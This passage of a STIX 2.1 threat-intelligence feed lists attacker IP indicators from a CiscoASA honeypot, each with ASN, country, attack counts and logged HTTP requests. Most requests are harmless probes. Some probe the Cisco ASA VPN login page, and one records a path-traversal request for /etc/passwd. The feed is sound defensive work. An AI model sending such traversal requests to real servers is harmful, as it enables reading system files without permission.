      "valid_from": "2026-03-18T05:20:13.000Z",
      "valid_until": "2026-04-19T05:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 6,
          "first_seen": "2026-03-18T05:03:03.374Z",
          "last_seen": "2026-03-18T05:03:51.988Z",
          "country": "United States",
          "country_code": "US",
          "asn": 398324,
          "as_org": "Censys, Inc.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -",
            "\"GET /version HTTP/1.1\" 404 -",
            "\"PRI * HTTP/2.0\" 505 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "code 505"
          ]
        }
      }
    },
    {
      "created": "2026-03-18T05:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /cdn-cgi/trace HTTP/1.1\" 404 - geo: MD; ASN 200019 (Alexhost Srl)",
      "id": "indicator--29a5f29d-5c34-4bc8-b3d5-4bc8892e822a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '188.214.144.135']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-18T05:20:13.000Z",
      "valid_until": "2026-04-19T05:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-18T04:50:31.279Z",
          "last_seen": "2026-03-18T04:50:31.279Z",
          "country": "Moldova",
          "country_code": "MD",
          "asn": 200019,
          "as_org": "Alexhost Srl",
          "event_types": [
            "\"GET /cdn-cgi/trace HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-18T07:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: PT; ASN 21859 (Zenlayer Inc)",
      "id": "indicator--65e250c4-f2e9-49b4-9960-9a25fd9e3d14",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '109.105.210.105']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-18T07:20:13.000Z",
      "valid_until": "2026-04-19T07:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 2,
          "first_seen": "2026-03-18T07:12:05.724Z",
          "last_seen": "2026-03-18T07:12:08.728Z",
          "country": "Portugal",
          "country_code": "PT",
          "asn": 21859,
          "as_org": "Zenlayer Inc",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-03-18T07:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /favicon.ico HTTP/1.1\" 404 - geo: DE; ASN 212512 (Detai Prosperous Technologies Limited)",
      "id": "indicator--4e0b32ef-f2aa-4aea-80ea-9d1c539f7ee1",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '45.131.155.110']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-18T07:20:13.000Z",
      "valid_until": "2026-04-19T07:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 2,
          "first_seen": "2026-03-18T06:32:15.563Z",
          "last_seen": "2026-03-19T10:08:03.020Z",
          "country": "Germany",
          "country_code": "DE",
          "asn": 212512,
          "as_org": "Detai Prosperous Technologies Limited",
          "event_types": [
            "\"GET /favicon.ico HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-18T07:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: Request timed out: TimeoutError(The read operation timed out) geo: DE; ASN 212512 (Detai Prosperous Technologies Limited)",
      "id": "indicator--8dfee77e-4063-4ab7-9a72-097c4a1fdb8f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '45.82.78.108']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-18T07:20:13.000Z",
      "valid_until": "2026-04-19T07:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 4,
          "first_seen": "2026-03-18T06:32:00.892Z",
          "last_seen": "2026-03-18T06:32:07.571Z",
          "country": "Germany",
          "country_code": "DE",
          "asn": 212512,
          "as_org": "Detai Prosperous Technologies Limited",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET / HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-18T08:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /lang/custom/sbin/init HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--fae96aa8-b8a5-4990-a7a8-d1ad24486f83",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '216.218.206.75']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-18T08:20:13.000Z",
      "valid_until": "2026-04-19T08:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-18T07:51:41.462Z",
          "last_seen": "2026-03-18T07:51:41.462Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /lang/custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-18T08:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /static/lang/custom/sbin/init HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--44794649-1b17-4eed-89ce-4e574ae2dd8b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '216.218.206.79']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-18T08:20:13.000Z",
      "valid_until": "2026-04-19T08:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-18T07:51:56.190Z",
          "last_seen": "2026-03-18T07:51:56.190Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /static/lang/custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-18T09:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: TW; ASN 142002 (Scloud Pte Ltd)",
      "id": "indicator--1363ea7a-90ec-47a9-94e2-7e99b81999cc",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '165.154.227.206']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-18T09:20:13.000Z",
      "valid_until": "2026-04-19T09:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-18T08:39:29.145Z",
          "last_seen": "2026-03-18T08:39:29.145Z",
          "country": "Taiwan",
          "country_code": "TW",
          "asn": 142002,
          "as_org": "Scloud Pte Ltd",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-18T12:20:14.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: DE; ASN 212512 (Detai Prosperous Technologies Limited)",
      "id": "indicator--9958e8cf-111d-4a96-835f-3ffdf53d9424",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '45.82.78.110']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-18T12:20:14.000Z",
      "valid_until": "2026-04-19T12:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 6,
          "first_seen": "2026-03-18T12:09:27.407Z",
          "last_seen": "2026-03-18T12:09:31.722Z",
          "country": "Germany",
          "country_code": "DE",
          "asn": 212512,
          "as_org": "Detai Prosperous Technologies Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-03-18T16:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1\" 404 - geo: DE; ASN 51396 (Pfcloud UG (haftungsbeschrankt))",
      "id": "indicator--73f0407e-9189-4fe7-b485-a3bcbf8999bd",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '45.135.194.49']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-18T16:20:05.000Z",
      "valid_until": "2026-04-19T16:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-18T15:30:01.879Z",
          "last_seen": "2026-03-18T15:30:01.879Z",
          "country": "Germany",
          "country_code": "DE",
          "asn": 51396,
          "as_org": "Pfcloud UG (haftungsbeschrankt)",
          "event_types": [
            "\"GET /..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-18T20:20:14.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: Request timed out: TimeoutError(The read operation timed out) geo: TW; ASN 135377 (UCLOUD INFORMATION TECHNOLOGY HK LIMITED)",
      "id": "indicator--4a6373a5-a163-42e7-a1d3-aed3211d422b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '128.14.227.37']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-18T20:20:14.000Z",
      "valid_until": "2026-04-19T20:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 32,
          "first_seen": "2026-03-18T19:30:44.056Z",
          "last_seen": "2026-03-25T18:34:57.489Z",
          "country": "Taiwan",
          "country_code": "TW",
          "asn": 135377,
          "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/blank.html HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"GET /config.json HTTP/1.1\" 404 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -",
            "\"GET /robots.txt HTTP/1.1\" 404 -",
            "\"GET /sitemap.xml HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-18T20:20:14.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: GB; ASN 14061 (DigitalOcean, LLC)",
      "id": "indicator--d4d2d010-d546-4266-9634-71c46fecd6c8",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '157.245.35.75']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-18T20:20:14.000Z",
      "valid_until": "2026-04-19T20:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 2,
          "first_seen": "2026-03-18T19:29:13.395Z",
          "last_seen": "2026-03-18T19:29:16.396Z",
          "country": "United Kingdom",
          "country_code": "GB",
          "asn": 14061,
          "as_org": "DigitalOcean, LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-03-18T21:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: PS; ASN 12975 (Palestine Telecommunications Company (PALTEL))",
      "id": "indicator--32cc76ad-90fd-4039-b719-0dd7f0573996",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '213.6.144.89']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-18T21:20:13.000Z",
      "valid_until": "2026-04-19T21:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 3,
          "first_seen": "2026-03-18T21:07:10.069Z",
          "last_seen": "2026-03-18T21:07:14.744Z",
          "country": "Palestine",
          "country_code": "PS",
          "asn": 12975,
          "as_org": "Palestine Telecommunications Company (PALTEL)",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /HNAP1/ HTTP/1.1\" 404 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-03-18T21:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 16509 (Amazon.com, Inc.)",
      "id": "indicator--210433d7-83d1-4f33-af00-66b2da3511fd",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '3.129.187.38']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-18T21:20:13.000Z",
      "valid_until": "2026-04-19T21:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 4,
          "first_seen": "2026-03-18T21:03:56.175Z",
          "last_seen": "2026-03-25T18:28:29.054Z",
          "country": "United States",
          "country_code": "US",
          "asn": 16509,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-03-18T23:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: BG; ASN 62323 (Lyuba Pesheva)",
      "id": "indicator--20d9917b-51c8-433c-b762-69c64ed6c85d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '77.78.149.60']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-18T23:20:13.000Z",
      "valid_until": "2026-04-19T23:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 2,
          "first_seen": "2026-03-18T22:34:58.556Z",
          "last_seen": "2026-03-18T22:35:01.560Z",
          "country": "Bulgaria",
          "country_code": "BG",
          "asn": 62323,
          "as_org": "Lyuba Pesheva",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-03-19T01:20:14.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /favicon.ico HTTP/1.1\" 404 - geo: US; ASN 14618 (Amazon.com, Inc.)",
      "id": "indicator--cf78ff11-81f8-458c-a9bf-d349cb4f735a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '100.31.213.204']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-19T01:20:14.000Z",
      "valid_until": "2026-04-20T01:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-19T00:53:29.964Z",
          "last_seen": "2026-03-19T00:53:29.964Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14618,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET /favicon.ico HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-19T01:20:14.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 14618 (Amazon.com, Inc.)",
      "id": "indicator--5a2ad778-0541-48ec-bcc2-3a71269bef72",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '52.206.189.10']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-19T01:20:14.000Z",
      "valid_until": "2026-04-20T01:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 2,
          "first_seen": "2026-03-19T00:55:07.845Z",
          "last_seen": "2026-03-19T00:55:10.846Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14618,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-03-19T01:20:14.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /robots.txt HTTP/1.1\" 404 - geo: US; ASN 14618 (Amazon.com, Inc.)",
      "id": "indicator--7cff8493-4bc0-48c9-b3ed-ad2dc8b562ae",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '54.242.39.252']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-19T01:20:14.000Z",
      "valid_until": "2026-04-20T01:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-19T00:55:35.892Z",
          "last_seen": "2026-03-19T00:55:35.892Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14618,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET /robots.txt HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-19T02:20:06.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 8075 (Microsoft Corporation)",
      "id": "indicator--124aaaeb-f8ca-42c7-902f-7a3bd227665c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '135.237.125.237']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-19T02:20:06.000Z",
      "valid_until": "2026-04-20T02:20:05.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 2,
          "first_seen": "2026-03-19T01:31:02.351Z",
          "last_seen": "2026-03-19T01:31:05.354Z",
          "country": "United States",
          "country_code": "US",
          "asn": 8075,
          "as_org": "Microsoft Corporation",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-03-19T02:20:06.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 202425 (IP Volume inc)",
      "id": "indicator--e7165df4-de32-491d-bd33-b66a17373e9f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '185.242.226.39']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-19T02:20:06.000Z",
      "valid_until": "2026-04-20T02:20:05.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 6,
          "first_seen": "2026-03-19T01:28:40.482Z",
          "last_seen": "2026-03-24T19:24:04.606Z",
          "country": "United States",
          "country_code": "US",
          "asn": 202425,
          "as_org": "IP Volume inc",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-03-19T04:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 396982 (Google LLC)",
      "id": "indicator--c6877959-f461-4748-bc7f-004bc68f8a76",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.162']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-19T04:20:13.000Z",
      "valid_until": "2026-04-20T04:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 2,
          "first_seen": "2026-03-19T04:07:12.996Z",
          "last_seen": "2026-03-19T04:07:16.002Z",
          "country": "United States",
          "country_code": "US",
          "asn": 396982,
          "as_org": "Google LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-03-19T04:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /favicon.ico HTTP/1.1\" 404 - geo: FR; ASN 213412 (ONYPHE SAS)",
      "id": "indicator--f7cc5953-92ff-4318-a043-cc0424e31f9f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '91.196.152.182']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-19T04:20:13.000Z",
      "valid_until": "2026-04-20T04:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-19T04:13:24.653Z",
          "last_seen": "2026-03-19T04:13:24.653Z",
          "country": "France",
          "country_code": "FR",
          "asn": 213412,
          "as_org": "ONYPHE SAS",
          "event_types": [
            "\"GET /favicon.ico HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-19T04:20:13.000Z",
